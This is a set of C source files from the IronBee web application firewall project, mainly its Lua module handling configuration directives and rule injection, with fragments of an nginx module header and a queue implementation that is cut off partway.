nginx's connection pool, and is also used * in ngxib_conn_get to search for the connection. * * @param[in] rctx The module request ctx * @return The ironbee connection */ ib_conn_t *ngxib_conn_get(ngxib_req_ctx *rctx); /* IronBee's callback to initialize its connection rec */ ib_status_t ngxib_conn_init(ib_engine_t *ib, ib_conn_t *iconn, ib_state_t state, void *cbdata); /** * Export the server object */ ib_server_t *ib_plugin(void); int ngxib_has_request_body(ngx_http_request_t *r, ngxib_req_ctx *ctx); /* Misc symbols that need visibility across source files */ extern ngx_module_t ngx_ironbee_module; /* The module struct */ ngx_int_t ngxib_handler(ngx_http_request_t *r); /* Handler for Request Data */ /* new stuff for module */ typedef struct module_data_t { struct ib_manager_t *manager; /**< IronBee engine manager object */ int ib_log_active; ngx_log_t *log; int log_level; } module_data_t; ib_status_t ngxib_module(ib_module_t**, ib_engine_t*, void*); /* Return from a function that has set globals, ensuring those * globals are tidied up after use. An ugly but necessary hack. * Would become completely untenable if a threaded nginx happens. */ //#define cleanup_return(log) return ngxib_log(log),ngx_regex_malloc_done(), #define cleanup_return return ngx_regex_malloc_done(), #endif
crustymonkey/ironbee
modules/lua.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- LUA Module * * This module provides Lua functionality to IronBee. * * @author <NAME> <<EMAIL>> * @author <NAME> <<EMAIL>> */ #include "lua_private.h" #include "lua/ironbee.h" #include "lua_modules_private.h" #include "lua_rules_private.h" #include "lua_runtime_private.h" #include <ironbee/array.h> #include <ironbee/cfgmap.h> #include <ironbee/context.h> #include <ironbee/engine.h> #include <ironbee/engine_state.h> #include <ironbee/escape.h> #include <ironbee/field.h> #include <ironbee/hash.h> #include <ironbee/mm_mpool_lite.h> #include <ironbee/path.h> #include <ironbee/queue.h> #include <ironbee/string.h> #include <lauxlib.h> #include <lua.h> #include <lualib.h> #include <assert.h> #include <ctype.h> #include <errno.h> #if defined(__cplusplus) && !defined(__STDC_FORMAT_MACROS) /* C99 requires that inttypes.h only exposes PRI* macros * for C++ implementations if this is defined: */ #define __STDC_FORMAT_MACROS #endif #include <inttypes.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <time.h> /* -- Module Setup -- */ /* Define the module name as well as a string version of it. */ #define MODULE_NAME lua #define MODULE_NAME_STR IB_XSTRINGIFY(MODULE_NAME) /* Define the public module symbol. */ IB_MODULE_DECLARE(); //! Name of an action that does nothing but tag a rule. static const char *g_modlua_waggle_action_name = "waggle"; ib_status_t modlua_push_config_path( ib_engine_t *ib, ib_context_t *ctx, lua_State *L ) { assert(ib != NULL); assert(ctx != NULL); assert(L != NULL); /* Index in the Lua Stack where the target table is located. */ int table_idx; lua_createtable(L, 10, 0); /* Make a list to store our context names in. */ table_idx = lua_gettop(L); /* Store where in the stack it is. */ /* Push all config contexts onto the Lua stack until and including MAIN. */ while (ctx != ib_context_main(ib)) { lua_pushstring(L, ib_context_name_get(ctx)); ctx = ib_context_parent_get(ctx); } /* Push the main context's name. */ lua_pushstring(L, ib_context_name_get(ctx)); /* Insert previously pushed contexts into the table at table_idx. */ for (int i = 1; lua_isstring(L, -1); ++i) { lua_pushinteger(L, i); /* Insert k. */ lua_insert(L, -2); /* Make the stack [table, ..., k, v]. */ lua_settable(L, table_idx); /* Set t[k] = v. */ } return IB_OK; } /** * Commit any pending configuration items, such as rules. * * @param[in] ib IronBee engine. * @param[in] cfg Module configuration. * * @returns * - IB_OK * - IB_EOTHER on Rule adding errors. See log file. */ static ib_status_t modlua_commit_configuration( ib_engine_t *ib, modlua_cfg_t *cfg) { assert(ib != NULL); assert(cfg != NULL); assert(cfg->L != NULL); ib_status_t rc; int lua_rc; lua_State *L = cfg->L; lua_getglobal(L, "ibconfig"); if ( ! lua_istable(L, -1) ) { ib_log_error(ib, "ibconfig is not a module table."); lua_pop(L, lua_gettop(L)); return IB_EOTHER; } lua_getfield(L, -1, "build_rules"); if ( ! lua_isfunction(L, -1) ) { ib_log_error(ib, "ibconfig.include is not a function."); lua_pop(L, lua_gettop(L)); return IB_EOTHER; } lua_pushlightuserdata(L, ib); lua_rc = lua_pcall(L, 1, 1, 0); if (lua_rc == LUA_ERRFILE) { ib_log_error(ib, "Configuration Error: %s", lua_tostring(L, -1)); lua_pop(L, lua_gettop(L)); return IB_EOTHER; } else if (lua_rc != 0) { ib_log_error(ib, "Configuration Error: %s", lua_tostring(L, -1)); lua_pop(L, lua_gettop(L)); return IB_EOTHER; } else if (lua_tonumber(L, -1) != IB_OK) { rc = lua_tonumber(L, -1); lua_pop(L, lua_gettop(L)); ib_log_error( ib, "Configuration error reported: %d:%s", rc, ib_status_to_string(rc)); return IB_EOTHER; } /* Clear stack. */ lua_pop(L, lua_gettop(L)); return IB_OK; } /* -- Event Handlers -- */ /** * Using only the context, fetch the module configuration. * * @param[in] ib IronBee engine. * @param[in] ctx The current configuration context. * @param[out] cfg Where to store the configuration. **cfg must be NULL. * * @returns * - IB_OK on success. * - IB_EEXIST if the module cannot be found in the engine. */ ib_status_t modlua_cfg_get( ib_engine_t *ib, ib_context_t *ctx, modlua_cfg_t **cfg ) { assert(ib != NULL); assert(ctx != NULL); ib_status_t rc; ib_module_t *module = NULL; rc = ib_engine_module_get(ib, MODULE_NAME_STR, &module); if (rc != IB_OK) { ib_log_error(ib, "Failed to find module \"" MODULE_NAME_STR ".\""); return rc; } rc = ib_context_module_config(ctx, module, cfg); if (rc != IB_OK) { ib_log_error(ib, "Failed to retrieve modlua configuration."); return rc; } return IB_OK; } /** * Make an empty reloads list for the configuration for @a ctx. * * param[in] ib IronBee engine. * param[in] ctx The configuration context. * param[in] state The state. This must always be @ref context_open_state. * param[in] cbdata Callback data. The @ref ib_module_t of ibmod_lua. * * @returns * - IB_OK on success. * - Non-IB_OK on an unexpected internal engine failure. */ static ib_status_t modlua_context_open( ib_engine_t *ib, ib_context_t *ctx, ib_state_t state, void *cbdata ) { assert(ib != NULL); assert(ctx != NULL); assert(state == context_open_state); assert(cbdata != NULL); ib_status_t rc; modlua_cfg_t *cfg = NULL; ib_mm_t mm = ib_engine_mm_main_get(ib); ib_module_t *module = (ib_module_t *)cbdata; /* In the case where we open the main context, we're done. */ if (ctx == ib_context_main(ib)) { return IB_OK; } rc = ib_context_module_config(ctx, module, &cfg); if (rc != IB_OK) { ib_log_error(ib, "Failed to retrieve modlua configuration."); return rc; } rc = ib_list_create(&(cfg->reloads), mm); if (rc != IB_OK) { return rc; } rc = ib_list_create(&(cfg->waggle_rules), mm); if (rc != IB_OK) { return rc; } return IB_OK; } /** * Context close callback. Registers outstanding rule configurations * if the context being closed in the main context. * * param[in] ib IronBee engine. * param[in] ctx The configuration context. * param[in] state The state. This must always be @ref context_close_state. * param[in] cbdata Callback data. The ib_module_t for modlua. * * @returns * - IB_OK on success. * - Non-IB_OK on an unexpected internal engine failure. */ static ib_status_t modlua_context_close( ib_engine_t *ib, ib_context_t *ctx, ib_state_t state, void *cbdata ) { assert(ib != NULL); assert(ctx != NULL); assert(state == context_close_state); assert(cbdata != NULL); /* Close of the main context signifies configuration finished. */ if (ib_context_type(ctx) == IB_CTYPE_MAIN) { ib_status_t rc; modlua_cfg_t *cfg = NULL; ib_module_t *module = (ib_module_t *)cbdata; rc = ib_context_module_config(ctx, module, &cfg); if (rc != IB_OK) { ib_log_error(ib, "Failed to retrieve modlua configuration."); return rc; } /* Commit any pending configuration items. */ rc = modlua_commit_configuration(ib, cfg); if (rc != IB_OK) { return rc; } ib_resource_release(cfg->lua_resource); cfg->lua_resource = NULL; cfg->L = NULL; rc = ib_resource_pool_flush(cfg->lua_pool); if (rc != IB_OK) { return rc; } } return IB_OK; } /** * Context destroy callback. * * Destroys Lua stack and pointer when the main context is destroyed. * * param[in] ib IronBee engine. * param[in] ctx The configuration context. * param[in] state The state. This must always be @ref context_close_state. * param[in] cbdata Callback data. The ib_module_t of ibmod_lua. * * @returns * - IB_OK on success. * - Non-IB_OK on an unexpected internal engine failure. */ static ib_status_t modlua_context_destroy( ib_engine_t *ib, ib_context_t *ctx, ib_state_t state, void *cbdata ) { assert(ib != NULL); assert(ctx != NULL); assert(state == context_destroy_state); assert(cbdata != NULL); /* Close of the main context signifies configuration finished. */ if (ib_context_type(ctx) == IB_CTYPE_MAIN) { ib_status_t rc; modlua_cfg_t *cfg = NULL; ib_module_t *module = (ib_module_t *)cbdata; rc = ib_context_module_config(ctx, module, &cfg); if (rc != IB_OK) { ib_log_error(ib, "Failed to retrieve modlua configuration."); return rc; } ib_lock_destroy(&(cfg->lua_pool_lock)); } return IB_OK; } /** * Report if @c ibmod_lua claims ownership over the rule as a Waggle rule. * * @param[in] ib IronBee engine. * @param[in] rule The rule to consider. * @param[in] ctx The context in which the rule is enabled. * @param[in] cbdata A pointer to this module's * @ref ib_module_t registered with @a ib. * * @returns * - IB_OK On success. * - IB_DECLINED To not take ownership of the rule. * - Other on error. */ static ib_status_t modlua_ownership_fn( const ib_engine_t *ib, const ib_rule_t *rule, const ib_context_t *ctx, void *cbdata ) NONNULL_ATTRIBUTE(1, 2, 3, 4); static ib_status_t modlua_ownership_fn( const ib_engine_t *ib, const ib_rule_t *rule, const ib_context_t *ctx, void *cbdata ) { assert(ib != NULL); assert(rule != NULL); assert(rule->ctx != NULL); assert(cbdata != NULL); ib_status_t rc; ib_mpool_lite_t *tmpmp; ib_mm_t tmpmm; ib_list_t *actions; rc = ib_mpool_lite_create(&tmpmp); if (rc != IB_OK) { return rc; } tmpmm = ib_mm_mpool_lite(tmpmp); rc = ib_list_create(&actions, tmpmm); if (rc != IB_OK) { goto cleanup; } rc = ib_rule_search_action( ib, rule, IB_RULE_ACTION_TRUE, g_modlua_waggle_action_name, actions, NULL ); if (rc != IB_OK) { ib_log_notice( ib, "Cannot find action %s.", g_modlua_waggle_action_name); goto cleanup; } if (ib_list_elements(actions) > 0) { const modlua_cfg_t *cfg = NULL; const ib_module_t *module = (const ib_module_t *)cbdata; /* Fetch the module configuration. */ rc = ib_context_module_config(ctx, module, &cfg); if (rc != IB_OK) { ib_log_error(ib, "Cannot retrieve module configuration."); rc = IB_OK; goto cleanup; } /* Copy the rule into the waggle list for this context. */ rc = ib_list_push(cfg->waggle_rules, (void *)rule); if (rc != IB_OK) { goto cleanup; } rc = IB_OK; goto cleanup; } rc = IB_DECLINED; cleanup: ib_mpool_lite_destroy(tmpmp); return rc; } /** * Inject a set of Waggle rules for execution. * * @param[in] ib IronBee engine. * @param[in] rule_exec The rule execution environment. * @param[out] rule_list The list of rules to append to. * @param[in] cbdata A pointer to @a ib 's registered @ref ib_module_t. * * @returns * - IB_OK On success. * - Other on error. */ static ib_status_t modlua_injection_fn( const ib_engine_t *ib, const ib_rule_exec_t *rule_exec, ib_list_t *rule_list, void *cbdata ) NONNULL_ATTRIBUTE(1, 2, 3, 4); static ib_status_t modlua_injection_fn( const ib_engine_t *ib, const ib_rule_exec_t *rule_exec, ib_list_t *rule_list, void *cbdata ) { assert(ib != NULL); assert(rule_exec != NULL); assert(rule_exec->tx != NULL); assert(rule_exec->tx->ctx != NULL); assert(rule_list != NULL); ib_module_t *module = (ib_module_t *)cbdata; ib_context_t *ctx = rule_exec->tx->ctx; ib_status_t rc; modlua_cfg_t *cfg = NULL; ib_list_node_t *node; assert(ib != NULL); assert(ctx != NULL); rc = ib_context_module_config(ctx, module, &cfg); if (rc != IB_OK) { ib_log_error(ib, "Cannot retrieve module configuration."); return rc; } /* Copy all Waggle rules that match the current rule phase * into the rule_list which the rule_engine will execute for us. */ IB_LIST_LOOP(cfg->waggle_rules, node) { ib_rule_t *rule = (ib_rule_t *)ib_list_node_data(node); if (rule_exec->phase == rule->meta.phase) { rc = ib_list_push(rule_list, rule); if (rc != IB_OK) { return rc; } } } return IB_OK; } /** * Initialize the ModLua Module. * * This will create a common "global" runtime into which various APIs * will be loaded. */ static ib_status_t modlua_init( ib_engine_t *ib, ib_module_t *module, void *cbdata ) { assert(ib != NULL); assert(module != NULL); ib_mm_t mm = ib_engine_mm_main_get(ib); ib_status_t rc; modlua_cfg_t *cfg = NULL; cfg = ib_mm_calloc(mm, 1, sizeof(*cfg)); if (cfg == NULL) { ib_log_error(ib, "Failed to allocate lua module configuration."); return IB_EALLOC; } rc = ib_list_create(&(cfg->reloads), mm); if (rc != IB_OK) { ib_log_error(ib, "Failed to allocate reloads list."); return rc; } rc = ib_list_create(&(cfg->waggle_rules), mm); if (rc != IB_OK) { ib_log_error(ib, "Failed to allocate waggle rules list."); return rc; } rc = ib_module_config_initialize(module, cfg, sizeof(*cfg)); if (rc != IB_OK) { ib_log_error(ib, "Module already has configuration data?"); return rc; } rc = ib_action_create_and_register( NULL, ib, g_modlua_waggle_action_name, NULL, NULL, NULL, NULL, NULL, NULL ); if (rc != IB_OK) { ib_log_error(ib, "Failed to register waggle injection action."); return rc; } rc = ib_lock_init(&(cfg->lua_pool_lock)); if (rc != IB_OK) { ib_log_error(ib, "Failed to configure Lua resource pool lock."); return rc; } rc = modlua_runtime_resource_pool_create( &(cfg->lua_pool), ib, module, mm, &(cfg->lua_pool_cfg)); if (rc != IB_OK) { ib_log_error(ib, "Failed to create Lua resource pool."); return rc; } /* Set up defaults */ rc = ib_resource_acquire(cfg->lua_pool, &(cfg->lua_resource)); if (rc != IB_OK) { ib_log_error(ib, "Failed to create Lua stack."); return rc; } cfg->L = ((modlua_runtime_t *)ib_resource_get(cfg->lua_resource))->L; /* Hook the context close state. * New contexts must copy their parent context's reload list. */ rc = ib_hook_context_register( ib, context_open_state, modlua_context_open, module); if (rc != IB_OK) { ib_log_error(ib, "Failed to register context_open_state hook: %s", ib_status_to_string(rc)); return rc; } /* Hook the context close state. */ rc = ib_hook_context_register( ib, context_close_state, modlua_context_close, module); if (rc != IB_OK) { ib_log_error(ib, "Failed to register context_close_state hook: %s", ib_status_to_string(rc)); return rc; } /* Hook the context destroy state to deallocate the Lua stack and lock. */ rc = ib_hook_context_register( ib, context_destroy_state, modlua_context_destroy, module); if (rc != IB_OK) { ib_log_error(ib, "Failed to register context_destroy_state hook: %s", ib_status_to_string(rc)); return rc; } /* Register an ownership function to take ownership of all waggle rules. */ rc = ib_rule_register_ownership_fn( ib, "LuaRuleOwnership", modlua_ownership_fn, module); if (rc != IB_OK) { return rc; } /* Register an injection function for all phases. */ for (int phase = 0; phase < IB_RULE_PHASE_COUNT; ++phase) { rc = ib_rule_register_injection_fn( ib, "LuaRuleInjection", phase, modlua_injection_fn, module); if (rc != IB_OK) { return rc; } } /* Set up rule support. */ rc = rules_lua_init(ib, module); if (rc != IB_OK) { return rc; } return IB_OK; } static IB_CFGMAP_INIT_STRUCTURE(modlua_config_map) = { IB_CFGMAP_INIT_ENTRY( MODULE_NAME_STR ".pkg_path", IB_FTYPE_NULSTR, modlua_cfg_t, pkg_path ), IB_CFGMAP_INIT_ENTRY( MODULE_NAME_STR ".pkg_cpath", IB_FTYPE_NULSTR, modlua_cfg_t, pkg_cpath ), IB_CFGMAP_INIT_LAST }; /* -- Configuration Directives -- */ /** * Implements the LuaInclude directive. * * Use the common Lua Configuration stack to configure IronBee using Lua. * * @param[in] cp Configuration parser and state. * @param[in] name The directive. * @param[in] p1 The file to include. * @param[in] cbdata The callback data. NULL. None is needed. * * @returns * - IB_OK on success. * - IB_EALLOC if an allocation cannot be performed, such as a Lua Stack. * - IB_EOTHER if any other error is encountered. * - IB_EINVAL if there is a Lua interpretation problem. This * will almost always indicate a problem with the user's code * and the user should examine their script. */ static ib_status_t modlua_dir_lua_include( ib_cfgparser_t *cp, const char *name, const char *p1, void *cbdata ) { assert(cp != NULL); assert(cp->ib != NULL); assert(name != NULL); assert(p1 != NULL); ib_status_t rc; int lua_rc; ib_engine_t *ib = cp->ib; ib_core_cfg_t *corecfg = NULL; modlua_cfg_t *cfg = NULL; lua_State *L = NULL; ib_context_t *ctx; rc = ib_cfgparser_context_current(cp, &ctx); if (rc != IB_OK) { ib_cfg_log_error(cp, "Failed to retrieve current context."); return rc; } if (ctx != ib_context_main(ib)) { ib_cfg_log_error( cp, "Directive %s may only be used in the main context.", name); return IB_EOTHER; } rc = modlua_cfg_get(ib, ctx, &cfg); if (rc != IB_OK) { return rc; } L = cfg->L; rc = ib_core_context_config(ib_context_main(ib), &corecfg); if (rc != IB_OK) { ib_log_error(ib, "Failed to retrieve core configuration."); lua_pop(L, lua_gettop(L)); return rc; } /* If the path is relative, get the absolute path, but relative to the * current configuration file. */ p1 = ib_util_relative_file( ib_engine_mm_config_get(ib), ib_cfgparser_curr_file(cp), p1); lua_getglobal(L, "ibconfig"); if ( ! lua_istable(L, -1) ) { ib_log_error(ib, "ibconfig is not a module table."); lua_pop(L, lua_gettop(L)); return IB_EOTHER; } lua_getfield(L, -1, "include"); if ( ! lua_isfunction(L, -1) ) { ib_log_error(ib, "ibconfig.include is not a function."); lua_pop(L, lua_gettop(L)); return IB_EOTHER; } lua_pushlightuserdata(L, cp); lua_pushstring(L, p1); lua_rc = lua_pcall(L, 2, 1, 0); if (lua_rc == LUA_ERRFILE) { ib_log_error(ib, "Failed to access file %s.", p1); ib_log_error(ib, "LuaInclude configuration error: %s", lua_tostring(L, -1)); lua_pop(L, lua_gettop(L)); return IB_EOTHER; } else if (lua_rc != 0) { ib_log_error(ib, "LuaInclude configuration error: %s", lua_tostring(L, -1)); lua_pop(L, lua_gettop(L)); return IB_EOTHER; } else if (lua_tonumber(L, -1) != IB_OK) { rc = lua_tonumber(L, -1); lua_pop(L, lua_gettop(L)); ib_log_error( ib, "LuaInclude configuration error reported: %d:%s", rc, ib_status_to_string(rc)); return IB_EOTHER; } lua_pop(L, lua_gettop(L)); rc = modlua_commit_configuration(ib, cfg); if (rc != IB_OK) { ib_log_error( ib, "Failed to commit LuaInclude configurations from file %s.", p1); return rc; } return IB_OK; } /** * Implement the LuaSet directive. * * This will set a value in a loaded lua module's context configuration. */ static ib_status_t modlua_dir_lua_set( ib_cfgparser_t *cp, const char *name, const ib_list_t *params, void *cbdata ) { assert(cp != NULL); assert(cp->ib != NULL); assert(name != NULL); assert(params != NULL); ib_status_t rc; int lua_rc; lua_State *L; ib_engine_t *ib = cp->ib; const ib_list_node_t *node; ib_context_t *ctx; /* Current context. */ modlua_cfg_t *cfg; /* Ibmod_lua config. Holds L. */ ib_module_t *lua_module; /* Lua module (not ibmod_lua). */ const char *lua_module_name; const char *lua_module_setting; const char *lua_module_value; if (ib_list_elements(params) != 3) { ib_cfg_log_error( cp, "Expected 3 arguments to directive %s but %d given.", name, (int)ib_list_elements(params)); return IB_EINVAL; } node = ib_list_first_const(params); lua_module_name = (const char *)ib_list_node_data_const(node); node = ib_list_node_next_const(node); lua_module_setting = (const char *)ib_list_node_data_const(node); node = ib_list_node_next_const(node); lua_module_value = (const char *)ib_list_node_data_const(node); rc = ib_cfgparser_context_current(cp, &ctx); if (rc != IB_OK) { ib_cfg_log_error(cp, "Failed to retrieve current context."); return rc; } rc = ib_engine_module_get(ib, lua_module_name, &lua_module); if (rc != IB_OK) { ib_cfg_log_error(cp, "Failed to find module \"%s\".", lua_module_name); return rc; } rc = modlua_cfg_get(ib, ctx, &cfg); if (rc != IB_OK) { return rc; } L = cfg->L; lua_getglobal(L, "modlua"); if ( ! lua_istable(L, -1) ) { ib_log_error(ib, "ibconfig is not a module table."); lua_pop(L, lua_gettop(L)); return IB_EOTHER; } lua_getfield(L, -1, "set"); if ( ! lua_isfunction(L, -1) ) { ib_log_error(ib, "modlua.set is not a function."); lua_pop(L, lua_gettop(L)); return IB_EOTHER; } lua_pushlightuserdata(L, cp); lua_pushlightuserdata(L, ctx); lua_pushlightuserdata(L, lua_module); lua_pushstring(L, lua_module_setting); lua_pushstring(L, lua_module_value); lua_rc = lua_pcall(L, 5, 1, 0); if (lua_rc != 0) { ib_log_error(ib, "Configuration Error: %s", lua_tostring(L, -1)); rc = IB_EOTHER; goto cleanup; } else if (lua_tonumber(L, -1) != IB_OK) { rc = lua_tonumber(L, -1); goto cleanup; } rc = IB_OK; cleanup: /* Clear the stack. */ lua_pop(L, lua_gettop(L)); return rc; } /** * @param[in] cp Configuration parser. * @param[in] name The name of the directive. * @param[in] p1 The argument to the directive parameter. * @param[in,out] cbdata Unused callback data. * * @returns * - IB_OK * - IB_EALLOC on memory error. * - Others if engine registration or util functions fail. */ static ib_status_t modlua_dir_param1( ib_cfgparser_t *cp, const char *name, const char *p1, void *cbdata ) { assert(cp != NULL); assert(cp->ib != NULL); assert(p1 != NULL); ib_status_t rc; ib_module_t *module; ib_mm_t mm; size_t p1_unescaped_len; char *p1_unescaped; ib_engine_t *ib = cp->ib; ib_core_cfg_t *corecfg = NULL; size_t p1_len = strlen(p1); ib_context_t *ctx = NULL; modlua_cfg_t *cfg = NULL; mm = ib_engine_mm_config_get(ib); rc = ib_cfgparser_context_current(cp, &ctx); if (rc != IB_OK) { ib_cfg_log_error(cp, "Cannot get current configuration context."); return rc; } rc = modlua_cfg_get(ib, ctx, &cfg); if (rc != IB_OK) { return rc; } rc = ib_core_context_config(ib_context_main(ib), &corecfg); if (rc != IB_OK) { ib_cfg_log_error(cp, "Failed to retrieve core configuration."); return rc; } rc = ib_engine_module_get(ib, MODULE_NAME_STR, &module); if (rc != IB_OK) { ib_log_error(ib, "Failed to find module \"" MODULE_NAME_STR ".\""); return rc; } p1_unescaped = ib_mm_alloc(mm, p1_len+1); if ( p1_unescaped == NULL ) { return IB_EALLOC; } rc = ib_util_unescape_string( p1_unescaped, &p1_unescaped_len, p1, p1_len); if (rc != IB_OK) { if (rc == IB_EBADVAL) { ib_cfg_log_error(cp, "Value for parameter \"%s\" may not contain NULL bytes: %s", name, p1); } else { ib_cfg_log_error(cp, "Value for parameter \"%s\" could not be unescaped: %s", name, p1); } free(p1_unescaped); return rc; } assert(p1_unescaped_len <= p1_len); /* Null-terminate the result. */ p1_unescaped[p1_unescaped_len] = '\0'; if (strcasecmp("LuaModuleBasePath", name) == 0) { cfg->module_path = ib_mm_strdup( ib_engine_mm_main_get(ib), p1_unescaped); } else if (strcasecmp("LuaStackUseLimit", name) == 0) { ib_num_t limit; rc = ib_string_to_num(p1, 10, &limit); if (rc != IB_OK) { ib_cfg_log_error( cp, "Directive %s was not given an integer but \"%s\".", name, p1); return rc; } rc = modlua_runtime_cfg_set_stack_use_limit(cfg->lua_pool_cfg, limit); if (rc != IB_OK) { ib_cfg_log_error( cp, "%s parameter must be a positive integer: %s", name, p1); return rc; } } else if (strcasecmp("LuaStackMax", name) == 0) { ib_num_t limit; rc = ib_string_to_num(p1, 10, &limit); if (rc != IB_OK) { ib_cfg_log_error( cp, "Directive %s was not given an integer but \"%s\".", name, p1); return rc; } if (limit < 0) { ib_cfg_log_error(cp, "%s value may not be negative: %s", name, p1); return IB_EINVAL; } rc = ib_resource_pool_set_max(cfg->lua_pool, (size_t)limit); if (rc != IB_OK) { ib_cfg_log_error( cp, "%s parameter must not be less than min: %s", name, p1); return rc; } } else if (strcasecmp("LuaStackMin", name) == 0) { ib_num_t limit; rc = ib_string_to_num(p1, 10, &limit); if (rc != IB_OK) { ib_cfg_log_error( cp, "Directive %s was not given an integer but \"%s\".", name, p1); return rc; } if (limit < 0) { ib_cfg_log_error(cp, "%s value may not be negative: %s", name, p1); return IB_EINVAL; } rc = ib_resource_pool_set_min(cfg->lua_pool, (size_t)limit); if (rc != IB_OK) { ib_cfg_log_error( cp, "%s parameter must not be less than max: %s", name, p1); return rc; } } else if (strcasecmp("LuaLoadModule", name) == 0) { const char *mod_name = p1_unescaped; /* Absolute path. */ if (p1_unescaped[0] == '/') { rc = modlua_module_load(ib, module, mod_name, p1_unescaped, cfg); if (rc != IB_OK) { ib_cfg_log_error( cp, "Failed to load Lua module with error %s: %s", ib_status_to_string(rc), p1_unescaped); return rc; } } else { char *path; size_t path_sz; /* If the user defined a module path for Lua modules, * try to load from it. */ if (cfg->module_path != NULL) { path_sz = strlen(cfg->module_path) + strlen(p1_unescaped) + 2; path = ib_mm_alloc(ib_engine_mm_config_get(ib), path_sz); snprintf( path, path_sz, "%s/%s", cfg->module_path, p1_unescaped); /* Try a path relative to the modules directory. */ rc = modlua_module_load(ib, module, mod_name, path, cfg); if (rc == IB_OK) { return IB_OK; } } path_sz = strlen(corecfg->module_base_path) + strlen(p1_unescaped) + 2; path = ib_mm_alloc(ib_engine_mm_config_get(ib), path_sz); if (path == NULL) { return IB_EALLOC; } snprintf( path, path_sz, "%s/%s", corecfg->module_base_path, p1_unescaped); /* Try a path relative to the modules directory. */ rc = modlua_module_load(ib, module, mod_name, path, cfg); if (rc == IB_OK) { return IB_OK; } /* If the above fails, try relative to the current config file. */ path = ib_util_relative_file( ib_engine_mm_config_get(ib), ib_cfgparser_curr_file(cp), p1_unescaped); rc = modlua_module_load(ib, module, mod_name, path, cfg); if (rc == IB_OK) { return IB_OK; } ib_log_error( ib, "Failed to load Lua module with error %s: %s", ib_status_to_string(rc), path); return rc; } } else if (strcasecmp("LuaPackagePath", name) == 0) { rc = ib_context_set_string(ctx, MODULE_NAME_STR ".pkg_path", p1_unescaped); return rc; } else if (strcasecmp("LuaPackageCPath", name) == 0) { rc = ib_context_set_string(ctx, MODULE_NAME_STR ".pkg_cpath", p1_unescaped); return rc; } else { ib_log_error(ib, "Unhandled directive: %s %s", name, p1_unescaped); return IB_EINVAL; } return IB_OK; } static IB_DIRMAP_INIT_STRUCTURE(modlua_directive_map) = { IB_DIRMAP_INIT_PARAM1( "LuaModuleBasePath", modlua_dir_param1, NULL ), IB_DIRMAP_INIT_PARAM1( "LuaLoadModule", modlua_dir_param1, NULL ), IB_DIRMAP_INIT_PARAM1( "LuaPackagePath", modlua_dir_param1, NULL ), IB_DIRMAP_INIT_PARAM1( "LuaPackageCPath", modlua_dir_param1, NULL ), IB_DIRMAP_INIT_PARAM1( "LuaStackUseLimit", modlua_dir_param1, NULL ), IB_DIRMAP_INIT_PARAM1( "LuaStackMax", modlua_dir_param1, NULL ), IB_DIRMAP_INIT_PARAM1( "LuaStackMin", modlua_dir_param1, NULL ), IB_DIRMAP_INIT_PARAM1( "LuaInclude", modlua_dir_lua_include, NULL ), IB_DIRMAP_INIT_LIST( "LuaSet", modlua_dir_lua_set, NULL ), /* End */ IB_DIRMAP_INIT_LAST }; ib_status_t modlua_cfg_copy( ib_engine_t *ib, ib_module_t *module, void *dst, const void *src, size_t length, void *cbdata ) { assert(ib != NULL); assert(module != NULL); assert(dst != NULL); assert(src != NULL); modlua_cfg_t *dstcfg = (modlua_cfg_t *)dst; ib_status_t rc; /* Base copy. */ memcpy(dst, src, length); /* The list has to be different in each context to * separately append. */ rc = ib_list_create(&(dstcfg->waggle_rules), ib_engine_mm_main_get(ib)); if (rc != IB_OK) { return rc; } return IB_OK; } /* -- Module Definition -- */ /** * Module structure. * * This structure defines some metadata, config data and various functions. */ IB_MODULE_INIT( IB_MODULE_HEADER_DEFAULTS, /**< Default metadata */ MODULE_NAME_STR, /**< Module name */ NULL, /**< NULL config. Init sets this. */ 0, /**< Zero length config (it's null).*/ modlua_cfg_copy, /**< Copy modlua configs. */ NULL, /**< Callback for modlua_cfg_copy. */ modlua_config_map, /**< Configuration field map */ modlua_directive_map, /**< Config directive map */ modlua_init, /**< Initialize function */ NULL, /**< Callback data */ NULL, /**< Finish function */ NULL, /**< Callback data */ );
crustymonkey/ironbee
util/queue.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Queue Implementation * * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include <ironbee/queue.h> #include <ironbee/mm.h> #include <ironbee/mpool_lite.h> #include <assert.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* A power of 2. */ static const size_t DEFAULT_QUEUE_SIZE = 1 << 3; /** * A queue structure. */ struct ib_queue_t { size_t head; /**< Index of the first element. */ size_t allocation; /**< The allocation of the queue buffer. */ size_t size; /**< The number of elements in the queue. */ ib_mpool_lite_t *mp; /**< Pool for allocations. */ void *queue; /**< The queue. */ ib_flags_t flags; /**< Flags. @sa IB_QUEUE_NEVER_SHRINK. */ }; /** * Return the index into queue that the offset points to. * * @param[in] queue The queue. * @param[in] offset The logical offset from the head of the queue. And * offset of 0 will return the index in the queue at which * the first element is found. This value is equal * queue->head. * * @returns The index in queue->queue at which the requested element resides. */ static inline size_t to_index( const ib_queue_t *queue, size_t offset ) { assert(queue != NULL); return (queue->head + offset) % queue->allocation; } /** * Destroy a queue. */ static void queue_destroy(void *q) { ib_mpool_lite_destroy(((ib_queue_t *)(q))->mp); } /** * Return a @c void * in the queue array that may be assigned to. * * @param[in] queue The queue. * @param[in] offset The offset. * * @returns The address to assign to. */ static inline void *to_addr( const ib_queue_t *queue, size_t offset ) { assert(queue 